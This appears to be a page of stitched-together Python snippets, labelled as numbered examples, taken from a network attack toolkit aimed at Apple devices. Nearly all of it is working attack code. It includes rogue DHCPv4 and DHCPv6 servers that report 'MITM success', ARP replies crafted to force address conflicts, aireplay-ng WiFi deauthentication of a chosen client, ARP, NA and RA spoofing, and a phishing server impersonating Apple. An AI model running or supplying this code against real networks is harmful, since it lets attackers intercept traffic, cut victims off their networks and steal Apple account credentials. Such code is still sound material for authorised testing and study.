                            # region Send DHCP ack and print info message
                            if self._send_broadcast_dhcp_response:
                                ack_packet = self._make_dhcp_ack_packet(
                                    transaction_id=transaction_id,
                                    target_mac=client_mac_address,
                                    target_ip=requested_ip)
                            else:
                                ack_packet = self._make_dhcp_ack_packet(
                                    transaction_id=transaction_id,
                                    target_mac=client_mac_address,
                                    target_ip=requested_ip,
                                    destination_mac=client_mac_address,
                                    destination_ip=requested_ip)

                            if self._apple:
                                self._base.print_info('DHCP ACK to: ',
                                                      client_mac_address,
                                                      ' requested ip: ',
                                                      requested_ip)
                                for _ in range(3):
                                    self._raw_send.send_packet(ack_packet)
                                    sleep(0.2)
                            else:
                                self._raw_send.send_packet(ack_packet)
                                self._base.print_info('DHCP ACK to: ',
                                                      client_mac_address,
                                                      ' requested ip: ',
                                                      requested_ip)
                            # endregion

                            # region Add client info in global self._clients dictionary
                            try:
                                self._clients[client_mac_address].update(
                                    {'mitm': 'success'})
                            except KeyError:
                                self._clients[client_mac_address] = {
                                    'mitm': 'success'
                                }
                            # endregion

                        # endregion

                    # endregion

                # endregion

            # endregion

            # region DHCP DECLINE
            if packet['DHCPv4'][53] == 4:
                # Get requested IP
                requested_ip = '0.0.0.0'
                if 50 in packet['DHCPv4'].keys():
                    requested_ip = str(packet['DHCPv4'][50])

                # Print info message
                self._base.print_info(
                    'DHCP DECLINE from: ',
                    requested_ip + ' (' + client_mac_address + ')',
                    ' transaction id: ', hex(transaction_id))

                # If client IP in free IP addresses list delete this
                if requested_ip in self._free_ip_addresses:
                    self._free_ip_addresses.remove(requested_ip)

                # Add client info in global self._clients dictionary
                self._add_client_info_in_dictionary(
                    client_mac_address, {
                        'decline_ip': requested_ip,
                        'decline': True
                    }, client_already_in_dictionary)
                # print self._clients
            # endregion

        # endregion DHCP

        # region ARP
        if 'ARP' in packet.keys():
            if packet['Ethernet']['destination'] == 'ff:ff:ff:ff:ff:ff' and \
                    packet['ARP']['target-mac'] == '00:00:00:00:00:00':

                # region Set local variables
                arp_sender_mac_address = packet['ARP']['sender-mac']
                arp_sender_ip_address = packet['ARP']['sender-ip']
                arp_target_ip_address = packet['ARP']['target-ip']
                # endregion

                # region Print info message
                self._base.print_info('ARP packet from: ',
                                      arp_sender_mac_address, ' "Who has ',
                                      arp_target_ip_address, ' Tell ',
                                      arp_sender_ip_address, '"')
                # endregion

                # region Get client mitm status
                try:
                    mitm_status = self._clients[arp_sender_mac_address]['mitm']
                except KeyError:
                    mitm_status = ''
                # endregion

                # region Get client requested ip
                try:
                    requested_ip = self._clients[arp_sender_mac_address][
                        'requested_ip']
                except KeyError:
                    requested_ip = ''
                # endregion

                # region Create IPv4 address conflict
                if mitm_status.startswith('error'):
                    arp_reply = self._arp.make_response(
                        ethernet_src_mac=self._your['mac-address'],
                        ethernet_dst_mac=arp_sender_mac_address,
                        sender_mac=self._your['mac-address'],
                        sender_ip=arp_target_ip_address,
                        target_mac=arp_sender_mac_address,
                        target_ip=arp_sender_ip_address)
                    self._raw_send.send_packet(arp_reply)
                    self._base.print_info(
                        'ARP response to: ', arp_sender_mac_address, ' "',
                        arp_target_ip_address + ' is at ' +
                        self._your['mac-address'], '" (IPv4 address conflict)')
                # endregion

                # region MITM success
                if mitm_status.startswith('success'):

                    if arp_target_ip_address == requested_ip:
                        self._clients[arp_sender_mac_address].update(
                            {'client request his ip': True})

                    if arp_target_ip_address == self._router_ipv4_address:
                        self._clients[arp_sender_mac_address].update(
                            {'client request router ip': True})

                    if arp_target_ip_address == self._dns_server_ipv4_address:
                        self._clients[arp_sender_mac_address].update(
                            {'client request dns ip': True})

                    try:
                        assert self._clients[arp_sender_mac_address][
                            'client request his ip']
                        assert self._clients[arp_sender_mac_address][
                            'client request router ip']
                        assert self._clients[arp_sender_mac_address][
                            'client request dns ip']

                        assert 'success message' not in self._clients[
                            arp_sender_mac_address].keys()
                        self._base.print_success(
                            'MITM success: ',
                            requested_ip + ' (' + arp_sender_mac_address + ')')
                        if self._exit_on_success:
                            sleep(3)
                            exit(0)
                        else:
                            self._clients[arp_sender_mac_address].update(
                                {'success message': True})

                    except KeyError:
                        pass

                    except AssertionError:
                        pass
Ejemplo n.º 24
0
def deauth_packets_send(network_interface, network_channel, network_bssid,
                        mac_address, number_of_deauth):
    global aireply_stop

    # Start target requests sniffer function
    tm = ThreadManager(2)
    tm.add_task(requests_sniffer, mac_address)

    # Set WiFi channel on interface for send WiFi deauth packets
    sub.Popen(
        ['iwconfig ' + network_interface + ' channel ' + network_channel],
        shell=True)

    # Start deauth packets numbers
    deauth_packets_number = number_of_deauth
    aireply_stop = False

    while deauth_packets_number < 50:

        # Check global variable aireplay_stop
        if aireply_stop:
            Base.print_info("Stop aireplay-ng ...")
            break

        # Start aireplay-ng process
        try:
            Base.print_info("Send WiFi deauth packets in aireplay-ng ...")
            aireplay_process = sub.Popen([
                'aireplay-ng ' + network_interface + ' -0 ' +
                str(deauth_packets_number) + ' -a ' + network_bssid + ' -c ' +
                mac_address
            ],
                                         shell=True,
                                         stdout=sub.PIPE)
            while True:
                output = aireplay_process.stdout.readline()
                if output == '' and aireplay_process.poll() is not None:
                    break
                if output:
                    stdout.write(
                        re.sub(r'(\d\d:\d\d:\d\d  (Waiting|Sending))',
                               Base.c_info + r'\g<1>', output))

        except OSError as e:
            if e.errno == errno.ENOENT:
                Base.print_error("Program: ", "aireply-ng",
                                 " is not installed!")
                exit(1)
            else:
                Base.print_error(
                    "Something else went wrong while trying to run ",
                    "`aireply-ng`")
                exit(2)

        # Wait before sniff request packet from target
        Base.print_info("Wait 10 sec. before sniff packets from target: " +
                        mac_address)
        sleep(10)

        # Add 5 packets to number of WiFi deauth packets
        deauth_packets_number += 5
Ejemplo n.º 25
0
class AppleDHCPServer:

    # region Variables
    _base: Base = Base(admin_only=True,
                       available_platforms=['Linux', 'Darwin', 'Windows'])
    _utils: Utils = Utils()
    _arp: RawARP = RawARP()
    _sniff: RawSniff = RawSniff()
    _dhcpv4: RawDHCPv4 = RawDHCPv4()
    _thread_manager: ThreadManager = ThreadManager(15)

    _your: Dict[str, Union[None, str]] = {
        'network-interface': None,
        'mac-address': None,
        'ipv4-address': None
    }
    _target: Dict[str, Union[None, str]] = {
        'ipv4-address': None,
        'mac-address': None
    }

    _requested_ip: Union[None, str] = None
    _new_transaction_id: int = 0

    _print_possible_mitm: bool = False
    _print_success_mitm: bool = False
    _broadcast: bool = False
    _quiet: bool = False

    # endregion

    # region Init
    def __init__(self, network_interface: str) -> None:
        """
        Init
        :param network_interface: Network interface name (example: 'eth0')
        """
        self._your = self._base.get_interface_settings(
            interface_name=network_interface,
            required_parameters=[
                'mac-address', 'ipv4-address', 'first-ipv4-address',
                'last-ipv4-address'
            ])
        self._raw_send: RawSend = RawSend(network_interface=network_interface)

    # endregion

    # region Start
    def start(self,
              target_ip_address: str,
              target_mac_address: str,
              broadcast: bool = False,
              quiet: bool = False):

        try:

            # region Set variables
            self._broadcast = broadcast
            self._quiet = quiet
            # endregion

            # region Check target MAC and IPv4 address
            self._target['ipv4-address'] = \
                self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
                                               ipv4_address=target_ip_address,
                                               is_local_ipv4_address=True,
                                               parameter_name='target IPv4 address')
            self._target['mac-address'] = \
                self._utils.check_mac_address(mac_address=target_mac_address,
                                              parameter_name='target MAC address')
            # endregion

            # region Start Sniffer
            if not self._quiet:
                self._base.print_info(
                    'Waiting for a ARP or DHCPv4 requests from: ',
                    self._target['mac-address'])
            self._sniff.start(
                protocols=['ARP', 'IPv4', 'UDP', 'DHCPv4'],
                prn=self._reply,
                filters={
                    'Ethernet': {
                        'source': self._target['mac-address']
                    },
                    'ARP': {
                        'opcode': 1
                    },
                    'IPv4': {
                        'source-ip': '0.0.0.0',
                        'destination-ip': '255.255.255.255'
                    },
                    'UDP': {
                        'source-port': 68,
                        'destination-port': 67
                    }
                },
                network_interface=self._your['network-interface'],
                scapy_filter='arp or (udp and (port 67 or 68))',
                scapy_lfilter=lambda eth: eth.src == self._target['mac-address'
                                                                  ])
            # endregion

        except AssertionError as Error:
            if not self._quiet:
                self._base.print_error(Error.args[0])
            exit(1)

        except KeyboardInterrupt:
            if not self._quiet:
                self._base.print_info('Exit')
            exit(0)

    # endregion

    # region DHCP response sender
    def _dhcp_response_sender(self):
        if self._broadcast:
            offer_packet = self._dhcpv4.make_offer_packet(
                ethernet_src_mac=self._your['mac-address'],
                ip_src=self._your['ipv4-address'],
                transaction_id=self._new_transaction_id,
                your_client_ip=self._target['ipv4-address'],
                client_mac=self._target['mac-address'])

            ack_packet = self._dhcpv4.make_ack_packet(
                ethernet_src_mac=self._your['mac-address'],
                ip_src=self._your['ipv4-address'],
                transaction_id=self._new_transaction_id,
                your_client_ip=self._target['ipv4-address'],
                client_mac=self._target['mac-address'])
        else:
            offer_packet = self._dhcpv4.make_offer_packet(
                ethernet_src_mac=self._your['mac-address'],
                ethernet_dst_mac=self._target['mac-address'],
                ip_src=self._your['ipv4-address'],
                transaction_id=self._new_transaction_id,
                your_client_ip=self._target['ipv4-address'],
                client_mac=self._target['mac-address'])

            ack_packet = self._dhcpv4.make_ack_packet(
                ethernet_src_mac=self._your['mac-address'],
                ethernet_dst_mac=self._target['mac-address'],
                ip_src=self._your['ipv4-address'],
                transaction_id=self._new_transaction_id,
                your_client_ip=self._target['ipv4-address'],
                client_mac=self._target['mac-address'])

        start_time: datetime = datetime.now()

        if self._base.get_platform().startswith('Linux'):
            while (datetime.now() - start_time).seconds <= 15:
                self._raw_send.send_packet(offer_packet)
                self._raw_send.send_packet(ack_packet)
                sleep(0.00001)
        else:
            while (datetime.now() - start_time).seconds <= 15:
                self._raw_send.send_packet(offer_packet)
                self._raw_send.send_packet(ack_packet)

    # endregion

    # region Reply to DHCP and ARP requests
    def _reply(self, request: Dict[str, Dict[Union[int, str], Union[int,
                                                                    str]]]):

        # region DHCP REQUESTS
        if 'DHCPv4' in request.keys():

            # region Get DHCP transaction id
            transaction_id = request['BOOTP']['transaction-id']
            # endregion

            # region DHCP DECLINE
            if request['DHCPv4'][53] == 4:
                self._base.print_info('DHCP DECLINE from: ',
                                      self._target['mac-address'])
                if self._new_transaction_id != 0:
                    self._thread_manager.add_task(self._dhcp_response_sender)
            # endregion

            # region DHCP REQUEST
            if request['DHCPv4'][53] == 3:

                # region Get next DHCP transaction id
                if transaction_id != 0:
                    self._new_transaction_id = transaction_id + 1
                    self._base.print_info('Current transaction id: ',
                                          hex(transaction_id))
                    self._base.print_success('Next transaction id: ',
                                             hex(self._new_transaction_id))
                # endregion

                # region Get DHCP requested ip address
                if 50 in request['DHCPv4'].keys():
                    self._requested_ip = str(request['DHCPv4'][50])
                # endregion

                # region Print info message
                self._base.print_info('DHCP REQUEST from: ',
                                      self._target['mac-address'],
                                      ' transaction id: ', hex(transaction_id),
                                      ' requested ip: ', self._requested_ip)
                # endregion

                # region If requested IP is target IP - print Possible mitm success
                if self._requested_ip == self._target['ipv4-address']:
                    if not self._print_possible_mitm:
                        self._base.print_warning(
                            'Possible MiTM success: ',
                            self._target['ipv4-address'] + ' (' +
                            self._target['mac-address'] + ')')
                        self._print_possible_mitm = True
                # endregion

            # endregion

        # endregion

        # region ARP REQUESTS
        if 'ARP' in request.keys():
            if self._requested_ip is not None:
                if request['Ethernet']['destination'] == 'ff:ff:ff:ff:ff:ff' and \
                        request['ARP']['target-mac'] == '00:00:00:00:00:00':

                    # region Set local variables
                    arp_sender_mac_address = request['ARP']['sender-mac']
                    arp_sender_ip_address = request['ARP']['sender-ip']
                    arp_target_ip_address = request['ARP']['target-ip']
                    # endregion

                    # region Print info message
                    self._base.print_info(
                        'ARP request from: ', arp_sender_mac_address, ' "',
                        'Who has ' + arp_target_ip_address + '? Tell ' +
                        arp_sender_ip_address, '"')
                    # endregion

                    # region ARP target IP is DHCP requested IP
                    if arp_target_ip_address == self._requested_ip:

                        # region If ARP target IP is target IP - print Possible mitm success
                        if arp_target_ip_address == self._target[
                                'ipv4-address']:
                            if not self._print_possible_mitm:
                                self._base.print_warning(
                                    'Possible MiTM success: ',
                                    self._target['ipv4-address'] + ' (' +
                                    self._target['mac-address'] + ')')
                                self._print_possible_mitm = True
                        # endregion

                        # region If ARP target IP is not target IP - send 'IPv4 address conflict' ARP response
                        else:
                            arp_reply = self._arp.make_response(
                                ethernet_src_mac=self._your['mac-address'],
                                ethernet_dst_mac=self._target['mac-address'],
                                sender_mac=self._your['mac-address'],
                                sender_ip=self._requested_ip,
                                target_mac=arp_sender_mac_address,
                                target_ip=arp_sender_ip_address)
                            for _ in range(5):
                                self._raw_send.send_packet(arp_reply)
                            self._base.print_info(
                                'ARP response to:  ', arp_sender_mac_address,
                                ' "', arp_target_ip_address + ' is at ' +
                                self._your['mac-address'],
                                '" (IPv4 address conflict)')
                        # endregion

                    # endregion

                    # region ARP target IP is your IP - MITM SUCCESS
                    if arp_target_ip_address == self._your['ipv4-address']:
                        if not self._print_success_mitm:
                            self._base.print_success(
                                'MITM success: ',
                                self._target['ipv4-address'] + ' (' +
                                self._target['mac-address'] + ')')
                            self._print_success_mitm = True
                        exit(0)
Ejemplo n.º 26
0
    def start(self,
              mitm_technique: Union[None, int] = None,
              disconnect_technique: Union[None, int] = None,
              mitm_interface: Union[None, str] = None,
              deauth_interface: Union[None, str] = None,
              target_mac_address: Union[None, str] = None,
              target_ipv4_address: Union[None, str] = None,
              target_new_ipv4_address: Union[None, str] = None,
              target_ipv6_address: Union[None, str] = None,
              target_new_ipv6_address: Union[None, str] = None,
              gateway_ipv4_address: Union[None, str] = None,
              gateway_ipv6_address: Union[None, str] = None,
              dns_ipv4_address: Union[None, str] = None,
              dns_ipv6_address: Union[None, str] = None,
              ipv6_prefix: Union[None, str] = None,
              phishing_site: Union[None, str] = None):

        # region Variables
        thread_manager: ThreadManager = ThreadManager(10)

        mitm_network_interface: Union[None, str] = None
        deauth_network_interface: Union[None, str] = None

        disconnect: bool = False
        deauth: bool = False
        # endregion

        # region Kill subprocess
        if self._base.get_platform().startswith('Linux'):
            try:
                self._base.print_info('Stop services: ', 'dnsmasq, network-manager')
                run(['service dnsmasq stop  >/dev/null 2>&1'], shell=True)
                run(['service network-manager stop  >/dev/null 2>&1'], shell=True)
            except OSError:
                self._base.print_error('Something went wrong while trying to stop services:',
                                       'dnsmasq and network-manager')
                exit(1)

        # Kill the processes that listens on 53, 68, 547 UDP port, 80 and 443 TCP ports
        self._base.print_info('Stop processes that listens on UDP ports: ', '53, 68, 547')
        self._base.kill_processes_by_listen_port(53, 'udp')
        self._base.kill_processes_by_listen_port(68, 'udp')
        self._base.kill_processes_by_listen_port(547, 'udp')

        self._base.print_info('Stop processes that listens on TCP ports: ', '80, 443')
        self._base.kill_processes_by_listen_port(80, 'tcp')
        self._base.kill_processes_by_listen_port(443, 'tcp')
        # endregion

        # region MiTM technique selection
        if self._base.get_platform().startswith('Windows') or self._base.get_platform().startswith('Darwin'):
            self._mitm_techniques.remove('Second DHCP ACK')
            self._disconnect_techniques.remove('Send WiFi deauthentication packets')

        if mitm_technique is None:
            self._base.print_info('MiTM technique list:')
            _technique_pretty_table = PrettyTable([self._base.cINFO + 'Index' + self._base.cEND,
                                                   self._base.cINFO + 'MiTM technique' + self._base.cEND])
            for _technique_index in range(len(self._mitm_techniques)):
                _technique_pretty_table.add_row([str(_technique_index + 1),
                                                 self._mitm_techniques[_technique_index]])
            print(_technique_pretty_table)
            print(self._base.c_info + 'Set MiTM technique index from range (1 - ' +
                  str(len(self._mitm_techniques)) + '): ', end='')
            _test_technique = input()
            assert _test_technique.isdigit(), \
                'MiTM technique index is not digit!'
        else:
            _test_technique = mitm_technique
        self._mitm_technique = \
            self._utils.check_value_in_range(value=int(_test_technique),
                                             first_value=1, last_value=len(self._mitm_techniques),
                                             parameter_name='MiTM technique') - 1
        # endregion

        # region Disconnect technique selection
        if self._mitm_techniques[self._mitm_technique] == 'Second DHCP ACK':
            disconnect = True
            deauth = True

        else:
            if disconnect_technique is None:
                self._base.print_info('Disconnect technique list:')
                _disconnect_pretty_table = PrettyTable([self._base.cINFO + 'Index' + self._base.cEND,
                                                        self._base.cINFO + 'Disconnect technique' + self._base.cEND])
                for _technique_index in range(len(self._disconnect_techniques)):
                    _disconnect_pretty_table.add_row([str(_technique_index + 1),
                                                      self._disconnect_techniques[_technique_index]])
                print(_disconnect_pretty_table)
                print(self._base.c_info + 'Set Disconnect technique index from range (1 - ' +
                      str(len(self._disconnect_techniques)) + '): ', end='')
                _test_technique = input()
                assert _test_technique.isdigit(), \
                    'Disconnect technique index is not digit!'
            else:
                _test_technique = disconnect_technique
            self._disconnect_technique = \
                self._utils.check_value_in_range(value=int(_test_technique),
                                                 first_value=1, last_value=len(self._disconnect_techniques),
                                                 parameter_name='Disconnect technique') - 1

            # Do not disconnect device after MiTM
            if self._disconnect_techniques[self._disconnect_technique] == 'Do not disconnect device after MiTM':
                disconnect = False
                deauth = False

            # Use WiFi deauthentication disconnect technique
            elif self._disconnect_techniques[self._disconnect_technique] == 'Send WiFi deauthentication packets':
                disconnect = True
                deauth = True

            # Use IPv4 network conflict disconnect technique
            else:
                disconnect = True
                deauth = False

        # endregion

        # region Get MiTM network interface
        mitm_network_interface = \
            self._base.network_interface_selection(interface_name=mitm_interface,
                                                   message='Please select a network interface for '
                                                           'MiTM Apple devices from table: ')
        self._your = self._base.get_interface_settings(interface_name=mitm_network_interface,
                                                       required_parameters=['mac-address', 'ipv4-address'])
        if self._your['ipv6-link-address'] is None:
            self._your['ipv6-link-address'] = self._base.make_ipv6_link_address(self._your['mac_address'])
        # endregion

        # region Get Deauth network interface
        if deauth:
            assert mitm_network_interface in self._base.list_of_wireless_network_interfaces(), \
                'Network interface: ' + self._base.error_text(mitm_network_interface) + ' is not Wireless!'

            assert len(self._base.list_of_wireless_network_interfaces()) <= 1, \
                'You have only one wireless interface: ' + self._base.info_text(mitm_network_interface) + \
                '; to send WiFi deauth packets you need a second wireless interface!'

            assert self._your['essid'] is not None \
                   and self._your['bssid'] is not None \
                   and self._your['channel'] is not None, \
                'Network interface: ' + self._base.error_text(mitm_network_interface) + ' does not connect to AP!'

            # region Set network interface for send wifi deauth packets
            deauth_network_interface = \
                self._base.network_interface_selection(interface_name=deauth_interface,
                                                       exclude_interface=mitm_network_interface,
                                                       only_wireless=True,
                                                       message='Please select a network interface for '
                                                               'send WiFi deauth packets from table: ')

            self._wifi = WiFi(wireless_interface=deauth_network_interface,
                              wifi_channel=self._your['channel'], debug=False, start_scan=False)

        # endregion

        # region Check IPv4 or IPv6 mitm
        if self._mitm_techniques[self._mitm_technique] in \
                ['ARP Spoofing', 'Second DHCP ACK', 'Predict next DHCP transaction ID']:
            self._ipv4_mitm = True
        elif self._mitm_techniques[self._mitm_technique] in \
                ['Rogue SLAAC/DHCPv6 server', 'NA Spoofing (IPv6)', 'RA Spoofing (IPv6)']:
            self._ipv6_mitm = True
        # endregion

        # region Set IPv4 DNS server
        if self._ipv4_mitm:
            if dns_ipv4_address is not None:
                self._dns_server['ipv4-address'] = \
                    self._utils.check_ipv4_address(network_interface=mitm_network_interface,
                                                   ipv4_address=dns_ipv4_address,
                                                   is_local_ipv4_address=False,
                                                   parameter_name='DNS server IPv4 address')
            else:
                self._dns_server['ipv4-address'] = self._your['ipv4-address']
        # endregion

        # region Set IPv6 DNS server
        if self._ipv6_mitm:
            if dns_ipv6_address is not None:
                self._dns_server['ipv6-address'] = \
                    self._utils.check_ipv6_address(network_interface=mitm_network_interface,
                                                   ipv6_address=gateway_ipv6_address,
                                                   is_local_ipv6_address=False,
                                                   parameter_name='gateway IPv6 address',
                                                   check_your_ipv6_address=False)
            else:
                self._dns_server['ipv6-address'] = self._your['ipv6-link-address']
        # endregion

        # region Set IPv4 gateway
        if self._ipv4_mitm:
            if gateway_ipv4_address is not None:
                self._gateway['ipv4-address'] = \
                    self._utils.check_ipv4_address(network_interface=mitm_network_interface,
                                                   ipv4_address=gateway_ipv4_address,
                                                   is_local_ipv4_address=True,
                                                   parameter_name='gateway IPv4 address')
            else:
                if self._mitm_techniques[self._mitm_technique] == 'ARP Spoofing':
                    assert self._your['ipv4-gateway'] is not None, \
                        'Network interface: ' + self._base.error_text(mitm_network_interface) + \
                        ' does not have IPv4 gateway!'
                    self._gateway['ipv4-address'] = self._your['ipv4-gateway']
                else:
                    self._gateway['ipv4-address'] = self._your['ipv4-address']
        # endregion

        # region Set IPv6 gateway
        if self._ipv6_mitm:
            if gateway_ipv6_address is not None:
                self._gateway['ipv6-address'] = \
                    self._utils.check_ipv6_address(network_interface=mitm_network_interface,
                                                   ipv6_address=gateway_ipv6_address,
                                                   is_local_ipv6_address=True,
                                                   parameter_name='gateway IPv6 address',
                                                   check_your_ipv6_address=False)
            else:
                if self._mitm_techniques[self._mitm_technique] == 'Rogue SLAAC/DHCPv6 server':
                    self._gateway['ipv6-address'] = self._your['ipv6-link-address']
                else:
                    self._base.print_info('Search IPv6 Gateway and DNS server on interface: ', mitm_network_interface)
                    self._icmpv6_router_search: ICMPv6RouterSearch = \
                        ICMPv6RouterSearch(network_interface=mitm_network_interface)
                    _router_advertisement_data = \
                        self._icmpv6_router_search.search(timeout=5, retry=3, exit_on_failure=True)

                    assert _router_advertisement_data is not None, \
                        'Can not find IPv6 gateway in local network on interface: ' + \
                        self._base.error_text(mitm_network_interface)

                    self._gateway['ipv6-address'] = _router_advertisement_data['router_ipv6_address']

                    if 'dns-server' in _router_advertisement_data.keys():
                        self._dns_server['ipv6-address'] = _router_advertisement_data['dns-server']

                    if 'prefix' in _router_advertisement_data.keys():
                        self._ipv6_network_prefix = _router_advertisement_data['prefix']
                    elif ipv6_prefix is not None:
                        self._ipv6_network_prefix = ipv6_prefix

                    if 'mtu' in _router_advertisement_data.keys():
                        self._mtu = int(_router_advertisement_data['mtu'])
        # endregion

        # region Set target IPv4 address and new IPv4 address
        if self._ipv4_mitm:
            self._target = \
                self._utils.set_ipv4_target(network_interface=mitm_network_interface,
                                            target_ipv4_address=target_ipv4_address,
                                            target_mac_address=target_mac_address,
                                            target_vendor='apple',
                                            target_ipv4_address_required=False,
                                            exclude_ipv4_addresses=[self._your['ipv4-gateway']])

            # region Set target new IPv4 address
            if self._mitm_techniques[self._mitm_technique] == 'Predict next DHCP transaction ID':
                if target_new_ipv4_address is not None:
                    self._target['new-ipv4-address'] = \
                        self._utils.check_ipv4_address(network_interface=mitm_network_interface,
                                                       ipv4_address=target_new_ipv4_address,
                                                       is_local_ipv4_address=True,
                                                       parameter_name='target new IPv4 address')
                else:
                    _free_ipv4_addresses = \
                        self._utils.get_free_ipv4_addresses(network_interface=mitm_network_interface)
                    self._target['new-ipv4-address'] = choice(_free_ipv4_addresses)
            # endregion
        
        # endregion

        # region Set target IPv6 address and new IPv6 address
        if self._ipv6_mitm:
            self._target = \
                self._utils.set_ipv6_target(network_interface=mitm_network_interface,
                                            target_ipv6_address=target_ipv6_address,
                                            target_mac_address=target_mac_address,
                                            target_vendor='apple',
                                            target_ipv6_address_is_local=True,
                                            exclude_ipv6_addresses=[self._your['ipv6-gateway']])

            # region Get target IPv4 address
            try:
                ipv4_target: Dict[str, str] = \
                    self._utils.set_ipv4_target(network_interface=mitm_network_interface,
                                                target_ipv4_address=None,
                                                target_mac_address=self._target['mac-address'],
                                                quiet=True)
                self._target['ipv4-address'] = ipv4_target['ipv4-address']
            except AssertionError:
                pass
            # endregion

            # region Set target new IPv6 address
            if self._mitm_techniques[self._mitm_technique] == 'Rogue SLAAC/DHCPv6 server':
                if target_new_ipv6_address is not None:
                    self._target['new-ipv6-address'] = \
                        self._utils.check_ipv6_address(network_interface=mitm_network_interface,
                                                       ipv6_address=target_new_ipv4_address,
                                                       is_local_ipv6_address=False,
                                                       parameter_name='target new global IPv6 address',
                                                       check_your_ipv6_address=True)
                else:
                    self._target['new-ipv6-address'] = \
                        self._ipv6_network_prefix.split('/')[0] + format(randint(1, 65535), 'x')
            # endregion

        # endregion

        # region General output
        self._base.print_info('MiTM technique: ', self._mitm_techniques[self._mitm_technique])
        self._base.print_info('Disconnect technique: ', self._disconnect_techniques[self._disconnect_technique])
        self._base.print_info('Network interface: ', mitm_network_interface)
        self._base.print_info('Your MAC address: ', self._your['mac-address'])

        # region IPv4 MiTM
        if self._ipv4_mitm:
            self._base.print_info('Your IPv4 address: ', self._your['ipv4-address'])
            self._base.print_info('Gateway IPv4 address: ', self._gateway['ipv4-address'])

            if self._mitm_techniques[self._mitm_technique] != 'ARP Spoofing':
                self._base.print_info('DNS server IPv4 address: ', self._dns_server['ipv4-address'])

            if self._target['mac-address'] is not None:
                self._base.print_info('Target MAC address: ', self._target['mac-address'])

            if self._target['ipv4-address'] is not None:
                self._base.print_info('Target IPv4 address: ', self._target['ipv4-address'])

            if 'new-ipv4-address' in self._target.keys():
                if self._target['new-ipv4-address'] is not None:
                    self._base.print_info('Target new IPv4 address: ', self._target['new-ipv4-address'])
        # endregion
        
        # region IPv6 MiTM
        if self._ipv6_mitm:
            self._base.print_info('Your IPv6 local address: ', self._your['ipv6-link-address'])
            self._base.print_info('Prefix: ', self._ipv6_network_prefix)
            self._base.print_info('Gateway IPv6 address: ', self._gateway['ipv6-address'])
            self._base.print_info('DNS server IPv6 address: ', self._dns_server['ipv6-address'])

            if self._target['mac-address'] is not None:
                self._base.print_info('Target MAC address: ', self._target['mac-address'])

            if 'ipv4-address' in self._target.keys():
                if self._target['ipv4-address'] is not None:
                    self._base.print_info('Target IPv4 address: ', self._target['ipv4-address'])

            if self._target['ipv6-address'] is not None:
                self._base.print_info('Target IPv6 address: ', self._target['ipv6-address'])

            if 'new-ipv6-address' in self._target.keys():
                if self._target['new-ipv6-address'] is not None:
                    self._base.print_info('Target new global IPv6 address: ', self._target['new-ipv6-address'])
        # endregion
        
        # region WiFi info
        if deauth:
            self._base.print_info('Interface ', mitm_network_interface, 
                                  ' connected to: ', self._your['essid'] + ' (' + self._your['bssid'] + ')')
            self._base.print_info('Interface ', mitm_network_interface, ' channel: ', self._your['channel'])
            self._base.print_info('Deauth network interface: ', deauth_network_interface)
        # endregion
        
        # endregion

        # region Start DNS server
        if self._dns_server['ipv4-address'] == self._your['ipv4-address'] or \
                self._dns_server['ipv6-address'] == self._your['ipv6-link-address']:
            self._base.print_info('Start DNS server ...')
            thread_manager.add_task(self._start_dns_server)
        # endregion

        # region Disconnect device
        if disconnect:
            thread_manager.add_task(self._disconnect_device, deauth)
        # endregion

        # region Start IPv4 MiTM
        if self._ipv4_mitm:
            
            # region 1. ARP spoofing technique
            if self._mitm_techniques[self._mitm_technique] == 'ARP Spoofing':
                thread_manager.add_task(self._arp_spoof)
            # endregion
    
            # region 2. Second DHCP ACK technique
            elif self._mitm_techniques[self._mitm_technique] == 'Second DHCP ACK':
                thread_manager.add_task(self._dhcpv4_server)
            # endregion
    
            # region 3. Predict next DHCP transaction ID
            elif self._mitm_techniques[self._mitm_technique] == 'Predict next DHCP transaction ID':
                thread_manager.add_task(self._apple_dhcpv4_server)
            # endregion
        
        # endregion

        # region Start IPv6 MiTM
        if self._ipv6_mitm:
        
            # region 4. Rogue SLAAC/DHCPv6 server
            if self._mitm_techniques[self._mitm_technique] == 'Rogue SLAAC/DHCPv6 server':
                thread_manager.add_task(self._dhcpv6_server)
            # endregion
    
            # region 5. NA Spoofing (IPv6)
            elif self._mitm_techniques[self._mitm_technique] == 'NA Spoofing (IPv6)':
                thread_manager.add_task(self._na_spoof)
            # endregion
    
            # region 6. RA Spoofing (IPv6)
            elif self._mitm_techniques[self._mitm_technique] == 'RA Spoofing (IPv6)':
                thread_manager.add_task(self._ra_spoof)
            # endregion
        
        # endregion

        # region Start Phishing server
        if phishing_site is None:
            phishing_site = 'apple'
        thread_manager.add_task(self._start_ipv4_phishing, phishing_site)
        thread_manager.add_task(self._start_ipv6_phishing, phishing_site)
        # endregion

        # region Wait all threads
        thread_manager.wait_for_completion()
Ejemplo n.º 27
0
        # Add 5 packets to number of WiFi deauth packets
        deauth_packets_number += 5


# endregion

# region Main function
if __name__ == "__main__":

    # region Variables
    Scanner = Scanner()
    ArpScan = ArpScan()
    ICMPv6Scan = ICMPv6Scan()
    DnsServer = DnsServer()
    TM = ThreadManager(5)

    ip_pattern = re.compile("^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$")

    target_mac_address = None
    target_ip_address = None
    new_target_ip_address = None
    target_apple_device = None

    first_suffix = 2
    last_suffix = 255

    network_prefix = None
    network_prefix_address = None
    network_prefix_length = None
Ejemplo n.º 28
0
class ArpScan:

    # region Variables
    _base: Base = Base()
    _arp: RawARP = RawARP()
    _raw_sniff: RawSniff = RawSniff()
    _thread_manager: ThreadManager = ThreadManager(2)

    _your: Dict[str, Union[None, str]] = {'network-interface': None, 'mac-address': None}
    _target: Dict[str, Union[None, str]] = {'ipv4-address': None, 'mac-address': None}

    _results: List[Dict[str, str]] = list()
    _mac_addresses: List[str] = list()
    _unique_results: List[Dict[str, str]] = list()
    _sorted_results: List[Dict[str, str]] = list()

    _retry_number: int = 5
    _timeout: int = 5
    _quit: bool = False
    # endregion

    # region Init
    def __init__(self, network_interface: str) -> None:
        """
        Init
        :param network_interface: Network interface name (example: 'eth0')
        """
        self._your = self._base.get_interface_settings(interface_name=network_interface,
                                                       required_parameters=['mac-address',
                                                                            'ipv4-address',
                                                                            'first-ipv4-address',
                                                                            'last-ipv4-address'])
        self._raw_send: RawSend = RawSend(network_interface=network_interface)

    # endregion

    # region Scanner
    def scan(self, timeout: int = 5, retry: int = 5,
             target_ip_address: Union[None, str] = None,
             check_vendor: bool = True,
             exclude_ip_addresses: Union[None, List[str]] = None,
             exit_on_failure: bool = True,
